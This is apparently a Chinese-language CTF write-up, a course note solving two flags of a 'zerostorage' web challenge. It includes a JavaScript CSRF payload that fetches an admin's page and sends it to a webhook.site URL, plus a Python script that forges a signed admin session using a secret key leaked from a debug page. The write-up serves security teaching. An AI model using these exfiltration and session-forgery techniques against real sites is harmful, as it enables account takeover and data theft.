--- tags: 資訊安全實務 --- # Final CTF ## zerostorage FLAG_A 這題的思路很簡單,由於我們可以看見friend上傳的檔案,所以就只要把admin變成friend,讓他回傳home的內容我們就能看到檔名了,步驟如下。 * report給admin一個網址,讓他發friend邀請給我 * 然後雖然server上有寫friend的request是怎送的,但我為了怕我是智障還是特別用BurpSuite抓了一次  * 所以要送的網址就是`http://zero-storage-eof-ctf.csie.org:1310/befriend?friend_name=ground_pound` * 自己寫一個CSRF的script上傳到去後report給admin * 寫個scirpt讓admin回傳home page到webhook上面 * 最後抓到檔名後,打開那個note就得出flag了 * 檔名`maSAAkI-kiSHIbE-sONG-for-1310_hepHNKnZQntYd0pd.txt` Script ```javascript fetch('http://zero-storage-eof-ctf.csie.org:1310/home') .then(function(response) { return response.text(); }) .then(function(res_text) { fetch("https://webhook.site/eb5fa68f-ee9c-44d2-af0f-1a46e9094c7f", { body: res_text, headers: { 'user-agent': 'Mozilla/4.0', 'content-type': 'application/text' }, method: 'POST', mode: 'no-cors', }) }); ``` FLAG: ``` FLAG{i_guess_I_run_OuT_of_IDEAs_ABouT_NuMbers......} ``` ## zerostorage FLAG_B 這一題比賽時沒寫出來,但思路基本是對的,就是沒找對偽造SESSION的簽章,後來才看到server.py裡就有給這個session的相關code... 這題基本就是要讓admin到debug_user頁面裡面看密碼,但要進去需要讓dubug設為True,所以直接report給admin debug_user的網址是行不通的,所以只能自己偽造成admin的session,然後自己把dubug設為True才能看到,而這題你如果輸入一個不存在的page的話,會把很多資訊給dump出來,裡面就包含了偽造session用的到的key。 * key: ``'Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B'`` * 偽造的session: `'{"id": 0, "filenames": [], "debug": "True"}'` 偽造session的部分 ```python from base64 import b64decode, b64encode import itsdangerous sess = '{"id": 0, "filenames": [], "debug": "True"}' secret_key = 'Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B' signer = itsdangerous.TimestampSigner(str(secret_key)) data = b64encode(sess.encode("utf-8")) data = signer.sign(data) print(data) ``` 上面的步驟都做完後,把session複製上去按F5就能成功解出這題,最後再提一下我一開始沒注意看的時候以為是flask session,所以就去找了能偽造出flask session的code,就一輩子都沒解出來...... FLAG: ``` FLAG{DO_u_rEMEmBeR_LudiBRIUM_s_Funny_tIME_makeR_bgM?} ```
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up